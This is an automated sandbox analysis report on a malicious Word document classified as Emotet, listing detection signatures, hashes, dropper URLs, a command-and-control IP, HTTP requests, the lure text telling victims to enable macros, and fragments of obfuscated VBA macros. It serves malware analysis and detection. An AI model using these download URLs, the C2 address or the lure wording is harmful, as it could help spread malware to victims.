Analysis Report pack-91089 416755919.doc

Overview

General Information

Sample Name: pack-91089 416755919.doc
Analysis ID: 336489
MD5: 1dc95341c113473f3ac71d3fccdc3512
SHA1: d07202389ee1458cd8d3f8f000701bc537ec6797
SHA256: 700f121e98f06604e45498c6313d741f4c43582fa41e1cdda3ae1b0e17e1e62c

Most interesting Screenshot:

Detection

Emotet
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
System process connects to network (likely due to code injection or exploit)
Yara detected Emotet
Creates processes via WMI
Document contains an embedded VBA macro with suspicious strings
Document contains an embedded VBA with base64 encoded strings
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Obfuscated command line found
Potential dropper URLs found in powershell memory
PowerShell case anomaly found
Sigma detected: Suspicious Encoded PowerShell Command Line
Suspicious powershell command line found
Very long command line found
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Enables debug privileges
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

AV Detection:

barindex
Antivirus detection for URL or domain
Source: http://veterinariadrpopui.com/content/5f18Q/ Avira URL Cloud: Label: malware
Source: http://khanhhoahomnay.net/wordpress/CGMC/ Avira URL Cloud: Label: malware
Source: http://shop.elemenslide.com/wp-content/n/ Avira URL Cloud: Label: malware
Multi AV Scanner detection for submitted file
Source: pack-91089 416755919.doc Virustotal: Detection: 36% Perma Link
Source: pack-91089 416755919.doc ReversingLabs: Detection: 43%

Cryptography:

barindex
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100011C0 Control_RunDLL,VirtualAlloc,VirtualAlloc,GetModuleHandleExA,VirtualAlloc,GetProcAddress,GetProcAddress,VirtualAlloc,GetProcAddress,LdrFindResource_U,LdrAccessResource,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptDeriveKey,VirtualAlloc,_memmove,CryptEncrypt, 7_2_100011C0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100021F0 CryptStringToBinaryW,CoTaskMemAlloc,CryptStringToBinaryW,StgDeserializePropVariant,CoTaskMemFree, 7_2_100021F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10002730 StgSerializePropVariant,CryptBinaryToStringW,CoTaskMemAlloc,CryptBinaryToStringW,CoTaskMemFree,CoTaskMemFree, 7_2_10002730
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 14_2_002275AE CryptDecodeObjectEx, 14_2_002275AE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 14_2_0022109C FindFirstFileW, 14_2_0022109C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior

Software Vulnerabilities:

barindex
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: wpsapk.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 104.18.61.59:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 104.18.61.59:80

Networking:

barindex
Potential dropper URLs found in powershell memory
Source: powershell.exe, 00000005.00000002.2111561067.00000000036D3000.00000004.00000001.sdmp String found in memory: http://wpsapk.com/wp-admin/v/
Source: powershell.exe, 00000005.00000002.2111561067.00000000036D3000.00000004.00000001.sdmp String found in memory: http://sofsuite.com/wp-includes/2jm3nIk/
Source: powershell.exe, 00000005.00000002.2111561067.00000000036D3000.00000004.00000001.sdmp String found in memory: http://veterinariadrpopui.com/content/5f18Q/
Source: powershell.exe, 00000005.00000002.2111561067.00000000036D3000.00000004.00000001.sdmp String found in memory: http://shop.elemenslide.com/wp-content/n/
Source: powershell.exe, 00000005.00000002.2111561067.00000000036D3000.00000004.00000001.sdmp String found in memory: http://khanhhoahomnay.net/wordpress/CGMC/
Source: powershell.exe, 00000005.00000002.2111561067.00000000036D3000.00000004.00000001.sdmp String found in memory: http://campusexpo.org/department-of-odhmmkd/95eXZY/
Source: powershell.exe, 00000005.00000002.2111561067.00000000036D3000.00000004.00000001.sdmp String found in memory: https://gurztac.wtchevalier.com/wp-content/YzZ6YZ/
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /wp-admin/v/ HTTP/1.1Host: wpsapk.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-includes/2jm3nIk/ HTTP/1.1Host: sofsuite.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /content/5f18Q/ HTTP/1.1Host: veterinariadrpopui.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wordpress/CGMC/ HTTP/1.1Host: khanhhoahomnay.netConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 209.59.139.39 209.59.139.39
Source: Joe Sandbox View IP Address: 5.2.136.90 5.2.136.90
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: LIQUIDWEBUS LIQUIDWEBUS
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /9ormjijma/sd2xibclmrp5oftlrxf/ HTTP/1.1DNT: 0Referer: 5.2.136.90/9ormjijma/sd2xibclmrp5oftlrxf/Content-Type: multipart/form-data; boundary=-------------qEVZIKHrPRVz2User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 5.2.136.90Content-Length: 8452Connection: Keep-AliveCache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 14_2_0023023A InternetReadFile, 14_2_0023023A
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{43B9F0D0-FFD8-4816-B513-C2DC6937B540}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /wp-admin/v/ HTTP/1.1Host: wpsapk.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-includes/2jm3nIk/ HTTP/1.1Host: sofsuite.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /content/5f18Q/ HTTP/1.1Host: veterinariadrpopui.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wordpress/CGMC/ HTTP/1.1Host: khanhhoahomnay.netConnection: Keep-Alive
Source: rundll32.exe, 00000006.00000002.2113194713.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2108067527.0000000002200000.00000002.00000001.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: unknown DNS traffic detected: queries for: wpsapk.com
Source: unknown HTTP traffic detected: POST /9ormjijma/sd2xibclmrp5oftlrxf/ HTTP/1.1DNT: 0Referer: 5.2.136.90/9ormjijma/sd2xibclmrp5oftlrxf/Content-Type: multipart/form-data; boundary=-------------qEVZIKHrPRVz2User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 5.2.136.90Content-Length: 8452Connection: Keep-AliveCache-Control: no-cache
Source: powershell.exe, 00000005.00000002.2111561067.00000000036D3000.00000004.00000001.sdmp String found in binary or memory: http://campusexpo.org/department-of-odhmmkd/95eXZY/
Source: rundll32.exe, 00000006.00000002.2113194713.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2108067527.0000000002200000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000006.00000002.2113194713.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2108067527.0000000002200000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com/
Source: powershell.exe, 00000005.00000002.2113549064.0000000003AA9000.00000004.00000001.sdmp String found in binary or memory: http://khanhhoahomnay.net
Source: powershell.exe, 00000005.00000002.2111561067.00000000036D3000.00000004.00000001.sdmp String found in binary or memory: http://khanhhoahomnay.net/wordpress/CGMC/
Source: rundll32.exe, 00000006.00000002.2114950190.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2108832801.00000000023E7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2109391718.0000000001FE7000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000006.00000002.2114950190.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2108832801.00000000023E7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2109391718.0000000001FE7000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: powershell.exe, 00000005.00000002.2105665763.0000000002420000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2110083444.00000000028B0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2111681625.00000000027C0000.00000002.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: rundll32.exe, 00000006.00000002.2114950190.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2108832801.00000000023E7000.00000002.00000001.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: powershell.exe, 00000005.00000002.2113549064.0000000003AA9000.00000004.00000001.sdmp String found in binary or memory: http://shop.elemenslide.com
Source: powershell.exe, 00000005.00000002.2111561067.00000000036D3000.00000004.00000001.sdmp String found in binary or memory: http://shop.elemenslide.com/wp-content/n/
Source: powershell.exe, 00000005.00000002.2113132741.0000000003A23000.00000004.00000001.sdmp String found in binary or memory: http://sofsuite.com
Source: powershell.exe, 00000005.00000002.2111561067.00000000036D3000.00000004.00000001.sdmp String found in binary or memory: http://sofsuite.com/wp-includes/2jm3nIk/
Source: powershell.exe, 00000005.00000002.2113375099.0000000003A6E000.00000004.00000001.sdmp String found in binary or memory: http://veterinariadrpopui.com
Source: powershell.exe, 00000005.00000002.2111561067.00000000036D3000.00000004.00000001.sdmp String found in binary or memory: http://veterinariadrpopui.com/content/5f18Q/
Source: rundll32.exe, 00000006.00000002.2114950190.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2108832801.00000000023E7000.00000002.00000001.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: powershell.exe, 00000005.00000002.2111561067.00000000036D3000.00000004.00000001.sdmp String found in binary or memory: http://wpsapk.com
Source: powershell.exe, 00000005.00000002.2111561067.00000000036D3000.00000004.00000001.sdmp String found in binary or memory: http://wpsapk.com/wp-admin/v/
Source: powershell.exe, 00000005.00000002.2105665763.0000000002420000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2110083444.00000000028B0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2111681625.00000000027C0000.00000002.00000001.sdmp String found in binary or memory: http://www.%s.comPA
Source: rundll32.exe, 00000006.00000002.2113194713.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2108067527.0000000002200000.00000002.00000001.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000006.00000002.2114950190.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2108832801.00000000023E7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2109391718.0000000001FE7000.00000002.00000001.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000006.00000002.2113194713.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2108067527.0000000002200000.00000002.00000001.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: powershell.exe, 00000005.00000002.2104348720.0000000000264000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: powershell.exe, 00000005.00000002.2104363576.0000000000294000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: rundll32.exe, 00000007.00000002.2108067527.0000000002200000.00000002.00000001.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: powershell.exe, 00000005.00000002.2111561067.00000000036D3000.00000004.00000001.sdmp String found in binary or memory: https://gurztac.wtchevalier.com/wp-content/YzZ6YZ/
Source: powershell.exe, 00000005.00000002.2113375099.0000000003A6E000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2113102392.0000000003A07000.00000004.00000001.sdmp String found in binary or memory: https://www.cloudflare.com/5xx-error-landing

E-Banking Fraud:

barindex
Yara detected Emotet
Source: Yara match File source: 0000000E.00000002.2347951504.0000000000221000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2117427965.00000000006C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2115320504.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2108163281.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2106729405.00000000001D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2109384640.00000000001D1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2347931935.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2111315259.0000000000271000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2112888635.0000000000180000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2106829948.0000000000231000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2108276475.00000000001E1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2118908713.00000000001E1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2118847844.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2111186351.0000000000230000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2109344000.00000000001B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2112953957.00000000001A1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 9.2.rundll32.exe.1b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.270000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.180000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.1e0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.230000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.230000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.6c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.1d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.200000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.230000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.200000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.1d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1e0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1a0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1c0000.0.unpack, type: UNPACKEDPE

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. 0 Page: I of I Words:
Source: Screenshot number: 4 Screenshot OCR: DOCUMENT IS PROTECTED. I Previewing is not available for protected documents. You have to press "E
Source: Screenshot number: 4 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 4 Screenshot OCR: ENABLE CONTENT" buttons to preview this document. 0 Page: I of I Words: 3 N@m 13 ;a 10096 G)
Source: Screenshot number: 8 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. K O a S
Source: Screenshot number: 8 Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Screenshot number: 8 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 8 Screenshot OCR: ENABLE CONTENT" buttons to preview this document. K O a S
Source: Document image extraction number: 0 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 0 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 0 Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1 Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Document image extraction number: 1 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 1 Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Document contains an embedded VBA macro with suspicious strings
Source: pack-91089 416755919.doc OLE, VBA macro line: Set SblcDCC = pULquU.CreateTextFile("OMySJHB:\AyVGlHzV\jPNIAFF.VJueCC")
Source: pack-91089 416755919.doc OLE, VBA macro line: Set fNhiCVgGS = RyDBDK.CreateTextFile("YJYLAnEDp:\qjyoGCI\dkSAD.MSPmBF")
Source: pack-91089 416755919.doc OLE, VBA macro line: Set HCvCmAcHC = iFTmFHFH.CreateTextFile("shCgAEb:\vCjFDhHuA\RhZGDG.mHWOGnIf")
Source: pack-91089 416755919.doc OLE, VBA macro line: Set gEcrV = RqlOZAHRJ.CreateTextFile("HQGixyC:\vETCeBG\zIuEqsGG.NobmDA")
Source: pack-91089 416755919.doc OLE, VBA macro line: Set ZMdrVHGz = xsruLB.CreateTextFile("EEnWBhBO:\VaTRC\McdbPkJ.cvwiQ")
Source: pack-91089 416755919.doc OLE, VBA macro line: Set fDZVKAAc = tzErBRFe.CreateTextFile("RcEcpI:\TGsCxLC\hxAZEBGHI.oETVAFo")
Source: pack-91089 416755919.doc OLE, VBA macro line: Set rYbgBh = hZCth.CreateTextFile("fYRUCAB:\VWWOMB\QmLUE.hKgcGBDCJ")
Source: pack-91089 416755919.doc OLE, VBA macro line: Set GfRPP = xLQtMd.CreateTextFile("RyteBlQC:\fuQXAW\oueKCbIJ.WivEYJD")
Source: pack-91089 416755919.doc OLE, VBA macro line: Set sCOIGDtD = eepvDEaE.CreateTextFile("KlvicF:\bJfMJhqw\dAgvkWD.xDxpHH")
Source: pack-91089 416755919.doc OLE, VBA macro line: Set fmwdEMADQ = DkLoDL.CreateTextFile("pGMMG:\enlVVB\fMqiFP.kEIECDZHz")
Source: pack-91089 416755919.doc OLE, VBA macro line: Set pkixJADG = DhnHIY.CreateTextFile("rfyIZCD:\OrugCDDGG\qkyWDBUAH.gjwVDBALW")
Source: pack-91089 416755919.doc OLE, VBA macro line: Set KmGOADt = CFdSBD.CreateTextFile("HWdKFJOBf:\UYiqcEIJ\rLoNox.YKOSA")
Source: pack-91089 416755919.doc OLE, VBA macro line: Set PbhYVsA = PcHRGIADo.CreateTextFile("OiBXGJB:\pnqsZEDV\gsZoAW.EePnB")
Source: pack-91089 416755919.doc OLE, VBA macro line: Set NuebA = sTzDC.CreateTextFile("OBoYzRpef:\sDLuJ\bmIQSG.MdmDR")
Source: pack-91089 416755919.doc OLE, VBA macro line: Set gxBPJB = zxgLHJSFW.CreateTextFile("KGGMcAB:\uaMWhFR\mhdIDlEH.PDxHAHD")
Source: pack-91089 416755919.doc OLE, VBA macro line: Set mgrwfmN = RjiQHRA.CreateTextFile("CxQnJUo:\GongJKJ\vntyZI.ugzmBCOCC")
Source: pack-91089 416755919.doc OLE, VBA macro line: Set uWZkeMFv = zDsRaIBGF.CreateTextFile("NFKiIDO:\sBRpIz\FFqJD.QevLKGfGs")
Source: pack-91089 416755919.doc OLE, VBA macro line: Set iHKuDmaEr = OMZxxg.CreateTextFile("QWqEKJnW:\BQVnVKF\gWdSBXA.TabDJBD")
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set SblcDCC = pULquU.CreateTextFile("OMySJHB:\AyVGlHzV\jPNIAFF.VJueCC") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set fNhiCVgGS = RyDBDK.CreateTextFile("YJYLAnEDp:\qjyoGCI\dkSAD.MSPmBF") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set HCvCmAcHC = iFTmFHFH.CreateTextFile("shCgAEb:\vCjFDhHuA\RhZGDG.mHWOGnIf") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set gEcrV = RqlOZAHRJ.CreateTextFile("HQGixyC:\vETCeBG\zIuEqsGG.NobmDA") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set ZMdrVHGz = xsruLB.CreateTextFile("EEnWBhBO:\VaTRC\McdbPkJ.cvwiQ") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set fDZVKAAc = tzErBRFe.CreateTextFile("RcEcpI:\TGsCxLC\hxAZEBGHI.oETVAFo") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set rYbgBh = hZCth.CreateTextFile("fYRUCAB:\VWWOMB\QmLUE.hKgcGBDCJ") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set GfRPP = xLQtMd.CreateTextFile("RyteBlQC:\fuQXAW\oueKCbIJ.WivEYJD") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set sCOIGDtD = eepvDEaE.CreateTextFile("KlvicF:\bJfMJhqw\dAgvkWD.xDxpHH") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set fmwdEMADQ = DkLoDL.CreateTextFile("pGMMG:\enlVVB\fMqiFP.kEIECDZHz") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set pkixJADG = DhnHIY.CreateTextFile("rfyIZCD:\OrugCDDGG\qkyWDBUAH.gjwVDBALW") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set KmGOADt = CFdSBD.CreateTextFile("HWdKFJOBf:\UYiqcEIJ\rLoNox.YKOSA") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function Jlda77h_v8nx5, String createtextfile: Set PbhYVsA = PcHRGIADo.CreateTextFile("OiBXGJB:\pnqsZEDV\gsZoAW.EePnB") Name: Jlda77h_v8nx5
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function Jlda77h_v8nx5, String createtextfile: Set NuebA = sTzDC.CreateTextFile("OBoYzRpef:\sDLuJ\bmIQSG.MdmDR") Name: Jlda77h_v8nx5
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function Jlda77h_v8nx5, String createtextfile: Set gxBPJB = zxgLHJSFW.CreateTextFile("KGGMcAB:\uaMWhFR\mhdIDlEH.PDxHAHD") Name: Jlda77h_v8nx5
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function Jlda77h_v8nx5, String createtextfile: Set mgrwfmN = RjiQHRA.CreateTextFile("CxQnJUo:\GongJKJ\vntyZI.ugzmBCOCC") Name: Jlda77h_v8nx5
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function Hrs2a1p95u19, String createtextfile: Set uWZkeMFv = zDsRaIBGF.CreateTextFile("NFKiIDO:\sBRpIz\FFqJD.QevLKGfGs") Name: Hrs2a1p95u19
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function Hrs2a1p95u19, String createtextfile: Set iHKuDmaEr = OMZxxg.CreateTextFile("QWqEKJnW:\BQVnVKF\gWdSBXA.TabDJBD") Name: Hrs2a1p95u19
Document contains an embedded VBA with base64 encoded strings
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String uTtCAFwHpCGF
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String lwWhZGEasjsS
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String MiCjaGqJfPrI
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String KqVyuQQfwTWh
